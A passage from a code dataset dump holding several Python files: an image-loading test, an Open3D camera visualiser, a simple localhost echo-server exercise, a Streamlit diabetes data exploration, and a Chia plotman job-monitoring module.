rangeSeries._dtype)\n rangeSeriesAry = rangeSeries.pack()\n rangeSeriesAry_xpose = rangeSeries.pack(transpose=True)\n\n assert_equals((60, 120), rangeSeries.dims.count) # 2d tif now loaded as 2d image; was 3d with singleton z dim\n assert_equals((2, 60, 120), rangeSeriesAry.shape)\n assert_equals((2, 120, 60), rangeSeriesAry_xpose.shape)\n assert_equals('float16', str(rangeSeriesAry.dtype))\n assert_true(array_equal(rangeAry, rangeSeriesAry[0]))\n assert_true(array_equal(rangeAry2, rangeSeriesAry[1]))\n assert_true(array_equal(rangeAry.T, rangeSeriesAry_xpose[0]))\n assert_true(array_equal(rangeAry2.T, rangeSeriesAry_xpose[1]))\n\n @unittest.skipIf(not _have_image, \"PIL/pillow not installed or not functional\")\n def test_loadMultipleTifsAsSeriesNoShuffle(self):\n self.__run_loadMultipleTifsAsSeries(False)\n\n @unittest.skipIf(not _have_image, \"PIL/pillow not installed or not functional\")\n def test_loadMultipleTifsAsSeriesWithShuffle(self):\n self.__run_loadMultipleTifsAsSeries(True)\n\n @unittest.skipIf(not _have_image, \"PIL/pillow not installed or not functional\")\n def test_loadMultipleMultipointTifsAsSeries(self):\n testResourcesDir = TestContextLoading._findTestResourcesDir()\n imagesPath = os.path.join(testResourcesDir, \"multilayer_tif\", \"dotdotdot_lzw*.tif\")\n\n # load only one file, second is a copy of this one\n testimg_pil = Image.open(os.path.join(testResourcesDir, \"multilayer_tif\", \"dotdotdot_lzw.tif\"))\n testimg_arys = [array(testimg_pil)]\n for idx in xrange(1, 3):\n testimg_pil.seek(idx)\n testimg_arys.append(array(testimg_pil))\n\n rangeSeries = self.tsc.loadImagesAsSeries(imagesPath, inputFormat=\"tif-stack\", shuffle=True, nplanes=1)\n assert_equals((70, 75), rangeSeries.dims.count)\n\n rangeSeriesAry = rangeSeries.pack()\n assert_equals((6, 70, 75), rangeSeriesAry.shape)\n for idx in xrange(6):\n assert_true(array_equal(testimg_arys[idx % 3], rangeSeriesAry[idx]))\n","sub_path":"python/test/test_context.py","file_name":"test_context.py","file_ext":"py","file_size_in_byte":11813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"326094519","text":"import numpy as np\nimport open3d as o3d\n\n\ndef load_cam_ext(file):\n \"\"\" read camera txt file \"\"\"\n cam = np.empty((3, 4))\n data = file.read().split()\n for i in range(3):\n for j in range(4):\n cam[i, j] = data[4 * i + j + 1]\n return cam\n\n\ndef compute_center_from_transformation(R, t):\n t = t.reshape(-1, 3, 1)\n R = R.reshape(-1, 3, 3)\n C = -R.transpose(0, 2, 1) @ t\n return C.squeeze()\n\n\ndef cameras_lineset(Rs, ts, size=10, color=(0.5, 0.5, 0), connect_cams=False):\n points = []\n lines = []\n colors = []\n for i, (R, t) in enumerate(zip(Rs, ts)):\n C0 = compute_center_from_transformation(R, t).reshape(3, 1)\n cam_points = []\n cam_points.append(C0)\n cam_points.append(C0 + R.T @ np.array([-size, -size, 3.0 * size]).reshape(3, 1))\n cam_points.append(C0 + R.T @ np.array([+size, -size, 3.0 * size]).reshape(3, 1))\n cam_points.append(C0 + R.T @ np.array([+size, +size, 3.0 * size]).reshape(3, 1))\n cam_points.append(C0 + R.T @ np.array([-size, +size, 3.0 * size]).reshape(3, 1))\n cam_points = np.concatenate([pt.reshape(1, 3) for pt in cam_points], axis=0)\n cam_lines = np.array([(0, 1), (0, 2), (0, 3), (0, 4), (1, 2), (2, 3), (3, 4), (4, 1)])\n\n points.extend(cam_points)\n if connect_cams and len(lines):\n cam_lines = np.vstack((cam_lines, [-5, 0]))\n lines.extend(i * 5 + cam_lines)\n colors.extend([color for _ in range(len(cam_lines))])\n\n ls = o3d.geometry.LineSet(\n points=o3d.utility.Vector3dVector(points),\n lines=o3d.utility.Vector2iVector(lines),\n )\n ls.colors = o3d.utility.Vector3dVector(np.array(colors, dtype=np.float64))\n return ls\n\n\nif __name__ == '__main__':\n scan = 'scan10'\n ref_no = 24\n default = set(np.load(f'/home/slin/Documents/outputs/mvs/exp1/tests/50000/{scan}/depths_mvsnet/{ref_no:08d}_view_comb.npy'))\n # comp = set(np.load(f'/home/slin/Documents/outputs/mvs/exp1/tests/50000_nn/{scan}/depths_mvsnet/{ref_no:08d}_view_comb.npy'))\n comp = set(np.load(f'/home/slin/Documents/outputs/mvs/exp1/tests/50000_all/{scan}/depths_mvsnet/{ref_no:08d}_view_comb.npy'))\n other = set(range(49)) - {ref_no} - default - comp\n common = default & comp\n default -= common\n comp -= common\n cam_dir = f'/home/slin/Documents/datasets/dtu/test/{scan}/cams/'\n cam_size = 16\n\n ref_cam_pose = load_cam_ext(open(cam_dir + f'{ref_no:08d}_cam.txt'))\n ref_cam_ls = cameras_lineset(ref_cam_pose[None, :, :3], ref_cam_pose[None, :, 3], cam_size, (1, 0, 0))\n ls_list = [ref_cam_ls]\n\n if common:\n common_cam_poses = []\n for common_no in common:\n common_cam_poses.append(load_cam_ext(open(cam_dir + f'{common_no:08d}_cam.txt')))\n common_cam_poses = np.stack(common_cam_poses)\n common_cam_ls = cameras_lineset(common_cam_poses[..., :3], common_cam_poses[..., 3], cam_size, (1, 0.5, 0))\n ls_list.append(common_cam_ls)\n\n if default:\n default_cam_poses = []\n for default_no in default:\n default_cam_poses.append(load_cam_ext(open(cam_dir + f'{default_no:08d}_cam.txt')))\n default_cam_poses = np.stack(default_cam_poses)\n default_cam_ls = cameras_lineset(default_cam_poses[..., :3], default_cam_poses[..., 3], cam_size, (0, 0, 1))\n ls_list.append(default_cam_ls)\n\n if comp:\n comp_cam_poses = []\n for comp_no in comp:\n comp_cam_poses.append(load_cam_ext(open(cam_dir + f'{comp_no:08d}_cam.txt')))\n comp_cam_poses = np.stack(comp_cam_poses)\n comp_cam_ls = cameras_lineset(comp_cam_poses[..., :3], comp_cam_poses[..., 3], cam_size, (0, 1, 0))\n ls_list.append(comp_cam_ls)\n\n other_cam_poses = []\n for other_no in other:\n other_cam_poses.append(load_cam_ext(open(cam_dir + f'{other_no:08d}_cam.txt')))\n other_cam_poses = np.stack(other_cam_poses)\n other_cam_ls = cameras_lineset(other_cam_poses[..., :3], other_cam_poses[..., 3], cam_size, (0, 0, 0))\n ls_list.append(other_cam_ls)\n\n o3d.visualization.draw_geometries(ls_list)\n","sub_path":"code/unsup_mvsnet/view_selection_viz.py","file_name":"view_selection_viz.py","file_ext":"py","file_size_in_byte":4100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"641346413","text":"\n\ndef accept(sock, mask, sel):\n conn, addr = sock.accept()\n logger.info('accepted %s from %s', conn, addr)\n conn.setblocking(False)\n sel.register(conn, selectors.EVENT_READ, read)\n\ndef work():\n while True:\n socket, ba = wq.get()\n data = json_loads(ba.decode('UTF-8'))['DATA']\n response = json.dumps({\"DATA\": data.upper()})\n logger.info(\"Echoing %s to %s\", response, socket)\n socket.send(response.encode(\"UTF-8\"))\n\ndef read(conn, mask, sel):\n ba = conn.recv(32)\n if ba:\n wq.put((socket, ba))\n #data = json.loads(ba.decode(\"UTF-8\")) ['DATA']\n #response = json.dumps({\"DATA\": data.upper()})\n #logger.info(\"Echoing %s to %s\", response, conn)\n #conn.send(response.encode(\"UTF-8\"))\n else:\n logger.info('closing %s ', socket)\n sel.unregister(socket)\n socket.close()\n #logger.info('closing %s ', conn)\n #sel.unregister(conn)\n #conn.close()\n\n#Thread\ndef dispatch(sel):\n while True:\n events = sel.select()\n for key, mask in events:\n callback = key.data\n callback(key.fileobj, mask, sel)\n\n\ndef main():\n sel = selectors.DefaultSelector()\n serversocket = socket(AF_INET, SOCK_STREAM)\n serversocket.bind(('localhost', 2000))\n serversocket.listen(5)\n\n dispatcher = threading.Thread(target = dispatch, args = (sel,))\n dispatcher.start()\n\n workers1 = threading.Thread(target = work)\n workers1.start()\n\n workers2 = threading.Thread(target = work)\n workers2.start()\n\n while True:\n clientesocket, address = serversocket.accept()\n clientesocket.setblocking(False)\n logger.info('accepted from %s', address)\n sel.register(clientsocket, selectors.EVENT_READ, read)\n\nif __name__ == '__main__':\n main()","sub_path":"CD_A01_EX011.py","file_name":"CD_A01_EX011.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"24200741","text":"import streamlit as st\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n## Load data\nimport pandas as pd\n\nst.set_option('deprecation.showPyplotGlobalUse', False)\n\nst.header('Load diabetes data')\n\ndata = pd.read_csv(\"https://github.com/Redwoods/Py/raw/master/pdm2020/my-note/py-pandas/data/diabetes.csv\")\n\ncol_idx = data.columns\nrow_idx=data.index\n\ndata.isna().sum()\ndescription = data.describe()\nclass_counts = data.groupby('Outcome').size() \nv,c=np.unique(data['Outcome'], return_counts=True)\n\ncorrelations = data.corr(method = 'pearson')\n\nfig, ax = plt.subplots(1,1,figsize=(10,8))\nimg = ax.imshow(correlations,cmap='coolwarm',interpolation='nearest') \nax.set_xticklabels(data.columns)\nplt.xticks(rotation=50)\nax.set_yticklabels(data.columns)\nfig.colorbar(img)\nfig.tight_layout()\nplt.show()\nst.pyplot()\n\nst.markdown(\"* * *\")\n\nskew = data.skew()\ndata.hist()\nfig.tight_layout()\nplt.show()\nst.pyplot()\n\nst.markdown(\"* * *\")\n\ndata.plot(kind='density', subplots=True, layout=(3,3), sharex=False) # -> x축 공유 X\nfig.tight_layout()\nplt.show()\nst.pyplot()\n\nst.markdown(\"* * *\")\n\ndata.plot(kind= 'box', subplots=True, layout=(3,3), sharex=False, sharey=False)\nfig.tight_layout()\nplt.show()\nst.pyplot()\n\nst.markdown(\"* * *\")\n\ncorrelations = data.corr(method = 'pearson')\n\nimport seaborn as sns\n\nplt.plot(figsize=(10,8))\nsns.heatmap(correlations, \n xticklabels=data.columns, \n yticklabels=data.columns,\n vmin= -1, vmax=1.0)\nfig.tight_layout()\nplt.show()\nst.pyplot()\n\nst.markdown(\"* * *\")\n\nfrom pandas.plotting import scatter_matrix \nplt.rcParams['figure.figsize'] = [10, 12]\nscatter_matrix(data)\nfig.tight_layout()\nplt.show()\nst.pyplot()\n\nst.markdown(\"* * *\")\n\nsns.pairplot(data)\nfig.tight_layout()\nst.pyplot()","sub_path":"py-streamlit/code/pdm02_st_mid_exam.py","file_name":"pdm02_st_mid_exam.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"463192833","text":"# TODO do we use all these?\nimport argparse\nimport contextlib\nimport functools\nimport logging\nimport os\nimport random\nimport re\nimport sys\nimport time\nfrom datetime import datetime, timedelta\nfrom enum import Enum, auto\nfrom subprocess import call\n\nimport attr\nimport click\nimport pendulum\nimport psutil\nimport dateparser\nfrom plotman import chia\nfrom plotman import manager\n\n\ndef job_phases_for_tmpdir(d, all_jobs):\n '''Return phase 2-tuples for jobs running on tmpdir d'''\n return sorted([j.progress() for j in all_jobs if j.tmpdir == d])\n\ndef job_phases_for_dstdir(d, all_jobs):\n '''Return phase 2-tuples for jobs outputting to dstdir d'''\n return sorted([j.progress() for j in all_jobs if j.dstdir == d])\n\n\ndef is_plotting_cmdline(cmdline):\n if manager.CFG.plotting.m_plot is None:\n return is_plotting_cmdline_v1(cmdline)\n else:\n return is_plotting_cmdline_v2(cmdline)\n\ndef is_plotting_cmdline_v1(cmdline):\n if cmdline and 'python' in cmdline[0].lower():\n cmdline = cmdline[1:]\n return (\n len(cmdline) >= 3\n and cmdline[0].endswith(\"chia\")\n and 'plots' == cmdline[1]\n and 'create' == cmdline[2]\n )\n\n\ndef is_plotting_cmdline_v2(cmdline):\n if cmdline and 'chia_plot' in cmdline[0].lower():\n cmdline = cmdline[1:]\n return True\n return False\n\ndef parse_chia_plot_time(s):\n # This will grow to try ISO8601 as well for when Chia logs that way\n return pendulum.from_format(s, 'ddd MMM DD HH:mm:ss YYYY', locale='en', tz=None)\n\ndef parse_chia_plots_create_command_line(command_line):\n if manager.CFG.plotting.m_plot is None:\n return parse_chia_plots_create_command_line_v1(command_line)\n else:\n return parse_chia_plots_create_command_line_v2(command_line)\n\ndef parse_chia_plots_create_command_line_v1(command_line):\n command_line = list(command_line)\n # Parse command line args\n if 'python' in command_line[0].lower():\n command_line = command_line[1:]\n assert len(command_line) >= 3\n assert 'chia' in command_line[0]\n assert 'plots' == command_line[1]\n assert 'create' == command_line[2]\n\n all_command_arguments = command_line[3:]\n\n # nice idea, but this doesn't include -h\n # help_option_names = command.get_help_option_names(ctx=context)\n help_option_names = {'--help', '-h'}\n\n command_arguments = [\n argument\n for argument in all_command_arguments\n if argument not in help_option_names\n ]\n\n # TODO: We could at some point do chia version detection and pick the\n # associated command. For now we'll just use the latest one we have\n # copied.\n command = chia.commands.latest_command()\n try:\n context = command.make_context(info_name='', args=list(command_arguments))\n except click.ClickException as e:\n error = e\n params = {}\n else:\n error = None\n params = context.params\n\n return ParsedChiaPlotsCreateCommand(\n error=error,\n help=len(all_command_arguments) > len(command_arguments),\n parameters=params,\n )\n\ndef parse_chia_plots_create_command_line_v2(command_line):\n command_line = list(command_line)\n # Parse command line args\n if 'chia_plot' in command_line[0].lower():\n command_line = command_line[1:]\n\n all_command_arguments = command_line[0:]\n help_option_names = {'--help', '-h'}\n\n command_arguments = [\n argument\n for argument in all_command_arguments\n if argument not in help_option_names\n ]\n\n # TODO: We could at some point do chia version detection and pick the\n # associated command. For now we'll just use the latest one we have\n # copied.\n command = chia.commands.latest_command()\n try:\n context = command.make_context(info_name='', args=list(command_arguments))\n except click.ClickException as e:\n error = e\n params = {}\n else:\n error = None\n params = context.params\n #print(params)\n #print(command_line)\n #print(\"params\")\n return ParsedChiaPlotsCreateCommand(\n error=error,\n help=len(all_command_arguments) > len(command_arguments),\n parameters=params,\n )\n\nclass ParsedChiaPlotsCreateCommand:\n def __init__(self, error, help, parameters):\n self.error = error\n self.help = help\n self.parameters = parameters\n\n@functools.total_ordering\n@attr.frozen(order=False)\nclass Phase:\n major: int = 0\n minor: int = 0\n known: bool = True\n\n def __lt__(self, other):\n return (\n (not self.known, self.major, self.minor)\n < (not other.known, other.major, other.minor)\n )\n\n @classmethod\n def from_tuple(cls, t):\n if len(t) != 2:\n raise Exception(f'phase must be created from 2-tuple: {t!r}')\n\n if None in t and not t[0] is t[1]:\n raise Exception(f'phase can not be partially known: {t!r}')\n\n if t[0] is None:\n return cls(known=False)\n\n return cls(major=t[0], minor=t[1])\n\n @classmethod\n def list_from_tuples(cls, l):\n return [cls.from_tuple(t) for t in l]\n\n# TODO: be more principled and explicit about what we cache vs. what we look up\n# dynamically from the logfile\nclass Job:\n 'Represents a plotter job'\n\n logfile = ''\n jobfile = ''\n job_id = 0\n plot_id = '--------'\n proc = None # will get a psutil.Process\n\n def get_running_jobs(logroot, cached_jobs=()):\n '''Return a list of running plot jobs. If a cache of preexisting jobs is provided,\n reuse those previous jobs without updating their information. Always look for\n new jobs not already in the cache.'''\n jobs = []\n cached_jobs_by_pid = { j.proc.pid: j for j in cached_jobs }\n\n for proc in psutil.process_iter(['pid', 'cmdline']):\n # Ignore processes which most likely have terminated between the time of\n # iteration and data access.\n with contextlib.suppress(psutil.NoSuchProcess, psutil.AccessDenied):\n if is_plotting_cmdline(proc.cmdline()):\n if proc.pid in cached_jobs_by_pid.keys():\n jobs.append(cached_jobs_by_pid[proc.pid]) # Copy from cache\n else:\n with proc.oneshot():\n parsed_command = parse_chia_plots_create_command_line(\n command_line=proc.cmdline(),\n )\n if parsed_command.error is not None:\n continue\n job = Job(\n proc=proc,\n parsed_command=parsed_command,\n logroot=logroot,\n )\n if job.help:\n continue\n jobs.append(job)\n\n return jobs\n\n\n def __init__(self, proc, parsed_command, logroot):\n '''Initialize from an existing psutil.Process object. must know logroot in order to understand open files'''\n self.proc = proc\n # These are dynamic, cached, and need to be udpated periodically\n self.phase = Phase(known=False)\n\n self.help = parsed_command.help\n self.args = parsed_command.parameters\n\n # an example as of 1.0.5\n # {\n # 'size': 32,\n # 'num_threads': 4,\n # 'buckets': 128,\n # 'buffer': 6000,\n # 'tmp_dir': '/farm/yards/901',\n # 'final_dir': '/farm/wagons/801',\n # 'override_k': False,\n # 'num': 1,\n # 'alt_fingerprint': None,\n # 'pool_contract_address': None,\n # 'farmer_public_key': None,\n # 'pool_public_key': None,\n # 'tmp2_dir': None,\n # 'plotid': None,\n # 'memo': None,\n # 'nobitfield': False,\n # 'exclude_final_dir': False,\n # }\n\n self.k = self.args['size']\n self.r = self.args['num_threads']\n self.u = self.args['buckets']\n self.b = self.args['buffer']\n self.n = self.args['num']\n self.tmpdir = self.args['tmp_dir']\n self.tmp2dir = self.args['tmp2_dir']\n self.dstdir = self.args['final_dir']\n\n plot_cwd = self.proc.cwd()\n self.tmpdir = os.path.join(plot_cwd, self.tmpdir)\n if self.tmp2dir is not None:\n self.tmp2dir = os.path.join(plot_cwd, self.tmp2dir)\n self.dstdir = os.path.join(plot_cwd, self.dstdir)\n\n # Find logfile (whatever file is open under the log root). The\n # file may be open more than once, e.g. for STDOUT and STDERR.\n for f in self.proc.open_files():\n if logroot in f.path:\n if self.logfile:\n assert self.logfile == f.path\n else:\n self.logfile = f.path\n break\n\n if self.logfile:\n # Initialize data that needs to be loaded from the logfile\n self.init_from_logfile()\n else:\n print('Found plotting process PID {pid}, but could not find '\n 'logfile in its open files:'.format(pid = self.proc.pid))\n for f in self.proc.open_files():\n print(f.path)\n\n\n\n def init_from_logfile(self):\n if manager.CFG.plotting.m_plot is None:\n self.init_from_logfile_v1()\n else:\n self.init_from_logfile_v2()\n\n def init_from_logfile_v1(self):\n '''Read plot ID and job start time from logfile. Return true if we\n find all the info as expected, false otherwise'''\n assert self.logfile\n # Try reading for a while; it can take a while for the job to get started as it scans\n # existing plot dirs (especially if they are NFS).\n found_id = False\n found_log = False\n for attempt_number in range(3):\n with open(self.logfile, 'r') as f:\n for line in f:\n m = re.match('^ID: ([0-9a-f]*)', line)\n if m:\n self.plot_id = m.group(1)\n found_id = True\n m = re.match(r'^Starting phase 1/4:.*\\.\\.\\. (.*)', line)\n if m:\n # Mon Nov 2 08:39:53 2020\n self.start_time = parse_chia_plot_time(m.group(1))\n found_log = True\n break # Stop reading lines in file\n\n if found_id and found_log:\n break # Stop trying\n else:\n time.sleep(1) # Sleep and try again\n\n # If we couldn't find the line in the logfile, the job is probably just getting started\n # (and being slow about it). In this case, use the last metadata change as the start time.\n # TODO: we never come back to this; e.g. plot_id may remain uninitialized.\n # TODO: should we just use the process start time instead?\n if not found_log:\n self.start_time = datetime.fromtimestamp(os.path.getctime(self.logfile))\n\n # Load things from logfile that are dynamic\n self.update_from_logfile()\n\n def init_from_logfile_v2(self):\n '''Read plot ID and job start time from logfile. Return true if we\n find all the info as expected, false otherwise'''\n assert self.logfile\n # Try reading for a while; it can take a while for the job to get started as it scans\n # existing plot dirs (especially if they are NFS).\n found_id = False\n found_log = False\n for attempt_number in range(3):\n with open(self.logfile, 'r') as f:\n for line in f:\n m = re.match('^Plot Name:(.)*\\n', line)\n if m:\n self.plot_id = m.group(0).split(\"-\")[-1].replace(\"\\n\", \"\")\n found_id = True\n if m:\n self.start_time = datetime.fromisoformat(os.path.basename(self.logfile)[:-4].replace(\"_\", \":\"))\n found_log = True\n break # Stop reading lines in file\n if found_id and found_log:\n break # Stop trying\n else:\n time.sleep(1) # Sleep and try again\n\n # If we couldn't find the line in the logfile, the job is probably just getting started\n # (and being slow about it). In this case, use the last metadata change as the start time.\n # TODO: we never come back to this; e.g. plot_id may remain uninitialized.\n # TODO: should we just use the process start time instead?\n if not found_log:\n self.start_time = datetime.fromtimestamp(os.path.getctime(self.logfile))\n\n # Load things from logfile that are dynamic\n self.update_from_logfile()\n\n def update_from_logfile(self):\n self.set_phase_from_logfile()\n\n def set_phase_from_logfile(self):\n if manager.CFG.plotting.m_plot is None:\n self.set_phase_from_logfile_v1()\n else:\n self.set_phase_from_logfile_v2()\n\n def set_phase_from_logfile_v1(self):\n assert self.logfile\n\n # Map from phase number to subphase number reached in that phase.\n # Phase 1 subphases are , table1, table2, ...\n # Phase 2 subphases are , table7, table6, ...\n # Phase 3 subphases are , tables1&2, tables2&3, ...\n # Phase 4 subphases are \n phase_subphases = {}\n\n with open(self.logfile, 'r') as f:\n for line in f:\n # \"Starting phase 1/4: Forward Propagation into tmp files... Sat Oct 31 11:27:04 2020\"\n m = re.match(r'^Starting phase (\\d).*', line)\n if m:\n phase = int(m.group(1))\n phase_subphases[phase] = 0\n\n # Phase 1: \"Computing table 2\"\n m = re.match(r'^Computing table (\\d).*', line)\n if m:\n phase_subphases[1] = max(phase_subphases[1], int(m.group(1)))\n\n # Phase 2: \"Backpropagating on table 2\"\n m = re.match(r'^Backpropagating on table (\\d).*', line)\n if m:\n phase_subphases[2] = max(phase_subphases[2], 7 - int(m.group(1)))\n\n # Phase 3: \"Compressing tables 4 and 5\"\n m = re.match(r'^Compressing tables (\\d) and (\\d).*', line)\n if m:\n phase_subphases[3] = max(phase_subphases[3], int(m.group(1)))\n\n # TODO also collect timing info:\n\n # \"Time for phase 1 = 22796.7 seconds. CPU (98%) Tue Sep 29 17:57:19 2020\"\n # for phase in ['1', '2', '3', '4']:\n # m = re.match(r'^Time for phase ' + phase + ' = (\\d+.\\d+) seconds..*', line)\n # data.setdefault....\n\n # Total time = 49487.1 seconds. CPU (97.26%) Wed Sep 30 01:22:10 2020\n # m = re.match(r'^Total time = (\\d+.\\d+) seconds.*', line)\n # if m:\n # data.setdefault(key, {}).setdefault('total time', []).append(float(m.group(1)))\n\n if phase_subphases:\n phase = max(phase_subphases.keys())\n self.phase = Phase(major=phase, minor=phase_subphases[phase])\n else:\n self.phase = Phase(major=0, minor=0)\n\n def set_phase_from_logfile_v2(self):\n assert self.logfile\n\n # Map from phase number to subphase number reached in that phase.\n # Phase 1 subphases are , table1, table2, ...\n # Phase 2 subphases are , table7, table6, ...\n # Phase 3 subphases are , tables1&2, tables2&3, ...\n # Phase 4 subphases are \n phase_subphases = {}\n\n with open(self.logfile, 'r') as f:\n for line in f:\n # \"Starting phase 1/4: Forward Propagation into tmp files... Sat Oct 31 11:27:04 2020\"\n m = re.match(r'^Phase (\\d).*', line)\n if m:\n phase = int(m.group(1))+1\n phase_subphases[phase] = 0\n else:\n phase = 1\n phase_subphases[phase] = 0\n # Phase 1: \"Computing table 2\"\n m = re.match(r'^\\[P1\\] Table (\\d).*', line)\n if m:\n phase_subphases[1] = max(phase_subphases[1], int(m.group(1)))\n\n # Phase 2: \"Backpropagating on table 2\"\n m = re.match(r'^\\[P2\\] Table (\\d).*', line)\n if m:\n phase_subphases[2] = max(phase_subphases[2], 7 - int(m.group(1)))\n\n # Phase 3: \"Compressing tables 4 and 5\"\n m = re.match(r'^\\[P3-[0-9]\\] Table (\\d).*', line)\n if m:\n phase_subphases[3] = max(phase_subphases[3], int(m.group(1)))\n\n m = re.match(r'^\\[P4\\]', line)\n if m:\n phase_subphases[4] = f.read().count(\"[P4]\")\n break\n\n # TODO also collect timing info :\n\n # \"Time for phase 1 = 22796.7 seconds. CPU (98%) Tue Sep 29 17:57:19 2020\"\n # for phase in ['1', '2', '3', '4']:\n # m = re.match(r'^Time for phase ' + phase + ' = (\\d+.\\d+) seconds..*', line)\n # data.setdefault....\n\n # Total time = 49487.1 seconds. CPU (97.26%) Wed Sep 30 01:22:10 2020\n # m = re.match(r'^Total time = (\\d+.\\d+) seconds.*', line)\n # if m:\n # data.setdefault(key, {}).setdefault('total time', []).append(float(m.group(1)))\n\n if phase_subphases:\n phase = max(phase_subphases.keys())\n self.phase = Phase(major=phase, minor=phase_subphases[phase])\n else:\n self.phase = Phase(major=0, minor=0)\n\n def progress(self):\n '''Return a 2-tuple with the job phase and subphase (by reading the logfile)'''\n return self.phase\n\n def plot_id_prefix(self):\n return self.plot_id[:8]\n\n # TODO: make this more useful and complete, and/or make it configurable\n def status_str_long(self):\n return '{plot_id}\\nk={k} r={r} b={b} u={u}\\npid:{pid}\\ntmp:{tmp}\\ntmp2:{tmp2}\\ndst:{dst}\\nlogfile:{logfile}'.format(\n plot_id = self.plot_id,\n k = self.k,\n r = self.r,\n b = self.b,\n u = self.u,\n pid = self.proc.pid,\n tmp = self.tmpdir,\n tmp2 = self.tmp2dir,\n dst = self.dstdir,\n plotid = self.plot_id,\n logfile = self.logfile\n )\n\n def get_mem_usage(self):\n return self.proc.memory_info().vms # Total, inc swapped\n\n def get_tmp_usage(self):\n total_bytes = 0\n with os.scandir(self.tmpdir) as it:\n for entry in it:\n if self.plot_id in entry.name:\n try:\n total_bytes += entry.stat().st_size\n except FileNotFoundError:\n # The file might disappear; this being an estimate we don't care\n pass\n return total_bytes\n\n def get_run_status(self):\n '''Running, suspended, etc.'''\n status = self.proc.status()\n if status == psutil.STATUS_RUNNING:\n return 'RUN'\n elif status == psutil.STATUS_SLEEPING:\n return 'SLP'\n elif status == psutil.STATUS_DISK_SLEEP:\n return 'DSK'\n elif status == psutil.STATUS_STOPPED:\n return 'STP'\n else:\n return self.proc.status()\n\n def get_time_wall(self):\n create_time = datetime.fromtimestamp(self.proc.create_time())\n return int((datetime.now() - create_time).total_seconds())\n def read_logfile(self):\n f = open(self.logfile, 'r')\n data = f.read()\n return data,f\n def get_time_start(self):\n return time.strftime(\"%m-%d %H:%M\", time.localtime(self.proc.create_time()))\n\n\n def get_times(self,data):#获取每个阶段耗时\n phase_times, phase_dates=get_phase_info(data)\n return \" / \".join(phase_times.values())\n\n def progress_str(self,data):#获取进度\n line_count = (data.count('\\n') + 1)\n progress = calc_progress(line_count=line_count)\n return f'{progress:.2f}%'\n\n def get_time_user(self):\n return int(self.proc.cpu_times().user)\n\n def get_time_sys(self):\n return int(self.proc.cpu_times().system)\n\n def get_time_iowait(self):\n cpu_times = self.proc.cpu_times()\n iowait = getattr(cpu_times, 'iowait', None)\n if iowait is None:\n return None\n\n return int(iowait)\n\n def suspend(self, reason=''):\n self.proc.suspend()\n self.status_note = reason\n\n def resume(self):\n self.proc.resume()\n\n def get_temp_files(self):\n # Prevent duplicate file paths by using set.\n temp_files = set([])\n for f in self.proc.open_files():\n if any(\n dir in f.path\n for dir in [self.tmpdir, self.tmp2dir, self.dstdir]\n if dir is not None\n ):\n temp_files.add(f.path)\n return temp_files\n\n def cancel(self):\n 'Cancel an already running job'\n # We typically suspend the job as the first action in killing it, so it\n # doesn't create more tmp files during death. However, terminate() won't\n # complete if the job is supsended, so we also need to resume it.\n # TODO: check that this is best practice for killing a job.\n self.proc.resume()\n self.proc.terminate()\n\n\ndef calc_progress(line_count):\n if manager.CFG.plotting.m_plot is None:\n return calc_progress_v1(line_count)\n else:\n return calc_progress_v2(line_count)\n\ndef calc_progress_v1(line_count):\n phase1_line_end = 801\n phase2_line_end = 834\n phase3_line_end = 2474\n phase4_line_end = 2620\n phase1_weight = 33.4\n phase2_weight = 20.43\n phase3_weight = 42.29\n phase4_weight = 3.88\n progress = 0\n if line_count > phase1_line_end:\n progress += phase1_weight\n else:\n progress += phase1_weight * (line_count / phase1_line_end)\n return progress\n if line_count > phase2_line_end:\n progress += phase2_weight\n else:\n progress += phase2_weight * ((line_count - phase1_line_end) / (phase2_line_end - phase1_line_end))\n return progress\n if line_count > phase3_line_end:\n progress += phase3_weight\n else:\n progress += phase3_weight * ((line_count - phase2_line_end) / (phase3_line_end - phase2_line_end))\n return progress\n if line_count > phase4_line_end:\n progress += phase4_weight\n else:\n progress += phase4_weight * ((line_count - phase3_line_end) / (phase4_line_end - phase3_line_end))\n return progress\ndef calc_progress_v2(line_count_n):\n line_count = line_count_n-11\n phase1_line_end = 8\n phase2_line_end = 23\n phase3_line_end = 36\n phase4_line_end = 42\n phase1_weight = 44.00\n phase2_weight = 25.00\n phase3_weight = 28.00\n phase4_weight = 3.00\n progress = 0\n if line_count > phase1_line_end:\n progress += phase1_weight\n else:\n progress += phase1_weight * (line_count / phase1_line_end)\n return progress\n if line_count > phase2_line_end:\n progress += phase2_weight\n else:\n progress += phase2_weight * ((line_count - phase1_line_end) / (phase2_line_end - phase1_line_end))\n return progress\n if line_count > phase3_line_end:\n progress += phase3_weight\n else:\n progress += phase3_weight * ((line_count - phase2_line_end) / (phase3_line_end - phase2_line_end))\n return progress\n if line_count > phase4_line_end:\n progress += phase4_weight\n else:\n progress += phase4_weight * ((line_count - phase3_line_end) / (phase4_line_end - phase3_line_end))\n return progress\n\n\ndef get_phase_info(contents):\n if manager.CFG.plotting.m_plot is None:\n return get_phase_info_v1(contents)\n else:\n return get_phase_info_v2(contents)\n\n\ndef get_phase_info_v1(contents):\n phase_times = {}\n phase_dates = {}\n\n for phase in range(1, 5):\n match = re.search(rf'time for phase {phase} = ([\\d\\.]+) seconds\\. CPU \\([\\d\\.]+%\\) [A-Za-z]+\\s([^\\n]+)\\n', contents, flags=re.I)\n if match:\n seconds, date_raw = match.groups()\n seconds = float(seconds)\n phase_times[phase] = pretty_print_time(int(seconds), False)\n parsed_date = dateparser.parse(date_raw)\n phase_dates[phase] = parsed_date\n\n return phase_times, phase_dates\n\ndef get_phase_info_v2(contents):\n phase_times = {}\n phase_dates = {}\n\n for phase in range(1, 5):\n match = re.search(rf'Phase {phase} took ([\\d\\.]+) sec', contents, flags=re.I)\n if match:\n seconds = match.group(1)\n seconds = float(seconds)\n phase_times[phase] = pretty_print_time(int(seconds), False)\n return phase_times, phase_dates\n\ndef pretty_print_time(seconds, include_seconds=True):\n total_minutes, second = divmod(seconds, 60)\n hour, minute = divmod(total_minutes, 60)\n return f\"{hour:02}:{minute:02}{f':{second:02}' if include_seconds else 